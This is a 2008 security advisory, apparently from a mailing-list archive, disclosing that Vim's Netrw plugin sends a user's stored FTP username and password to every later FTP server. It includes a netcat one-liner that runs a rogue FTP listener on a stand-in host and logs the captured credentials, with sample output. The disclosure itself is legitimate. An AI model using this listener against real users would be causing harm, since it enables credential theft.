Vim: Netrw: FTP User Name and Password Disclosure Aug 12 2008 09:59PM
Jan MináÅ? (rdancer rdancer org)
Vim: Netrw: FTP User Name and Password Disclosure


Product : Vim -- Vi IMproved
Versions : Tested with Vim 7.1.266, 7.2, autoload/netrw.vim v131, v109
Impact : Credentials disclosure
Wherefrom: Remote
Original : http://www.rdancer.org/vulnerablevim-netrw-credentials-dis.html

The Vim Netrw Plugin shares the FTP user name and password across all
FTP sessions. Every time Vim makes a new FTP connection, it sends the
user name and password of the previous FTP session to the FTP server.


``Vim is an almost compatible version of the UNIX editor Vi. Many new
features have been added: multi-level undo, syntax highlighting,
command line history, on-line help, spell checking, filename
completion, block operations, etc.''

-- Vim README.txt

``Netrw supports "transparent" editing of files on other machines
using [...] vim ftp://hostname/path/to/file''

``Attempts to use ftp will prompt you for a user-id and a password.
These will be saved in global variables g:netrw_uid and
s:netrw_passwd; subsequent uses of ftp will re-use those two items
to simplify the further use of ftp. However, if you need to use a
different user id and/or password, you'll want to call NetUserPass()

-- Netrw Reference Manual (``pi_netrw.txt'')


Once vim successfully connects to an FTP server using a user name and
password credentials, it will re-use them in all subsequent FTP
sessions, regardless of the domain name or TCP port.

This behaviour is documented, although the documentation states the
credentials are ``retained on a per-session basis''. Apparently the Vim
session, not the FTP session:

``g:netrw_uid (ftp) user-id, retained on a per-session basis
s:netrw_passwd (ftp) password, retained on a per-session basis''

-- Netrw Reference Manual (``pi_netrw.txt'')

Although FTP communication is not encrypted and therefore open to
eavesdropping, if the access to the network is protected, a
credentials-based access control is meaningful, and the credentials must
be kept secret. For example, an FTP connection to a virtual Xen
instance on the same physical machine is secure; so is an FTP session
over a local ethernet segment secured against access from untrusted


No adversary action on the part of the attacker is necessary, apart from
keeping logs of the user name, password, source IP address, and other
information about the FTP session.

An example using netcat(1) for the rouge FTP server. There is another
FTP server already running on the machine:

# For the sake of this example, a custom hosts file. Note that
# ftp.secure.example and ftp.rogue.example map to different IP
# addresses.
$ grep '\.example' /etc/hosts ftp.secure.example ftp.rogue.example
# There is a stock FTP server running already
$ netstat -plan | grep ftp
tcp 0 0* LISTEN 30623/vsftpd
# Start the rogue FTP server
$ printf '220\r\n331\r\n' | netcat -lp 31337 ftp.rogue.example > credentials&
# We use the ex command for clarity.
$ ex ftp://ftp.secure.example/
Enter username: rdancer
Enter Password: *************
Entering Ex mode. Type "visual" to go to Normal mode.
:spl ftp://ftp.rogue.example:31337/
"ftp://ftp.rogue.example:31337/" --No lines in buffer--
$ cat credentials
USER rdancer
PASS z5vS24u76OrGM


This advisory is Copyright 2008 Jan Minar <rdancer (at) rdancer (dot) org [email concealed]>

Copying welcome, under the Creative Commons ``Attribution-Share Alike''
License http://creativecommons.org/licenses/by-sa/2.0/uk/

Code included herein, and accompanying this advisory, may be copied
according to the GNU General Public License version 2, or the Vim
license. See the subdirectory ``licenses''.

Various portions of the accompanying code may have been written by
various parties. Those parties may hold copyright, and those portions
may be copied according to their respective licenses.


2008-08-12 Sent to: <bugs (at) vim (dot) org [email concealed]>, <vim-dev (at) vim (dot) org [email concealed]>,
<full-disclosure (at) lists.grok.org (dot) uk [email concealed]>,
<bugtraq (at) securityfocus (dot) com [email concealed]>,
Charles E Campbell, Jr (Vim Netrw Plugin Maintainer)
<drchip (at) campbellfamily (dot) biz [email concealed]>

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus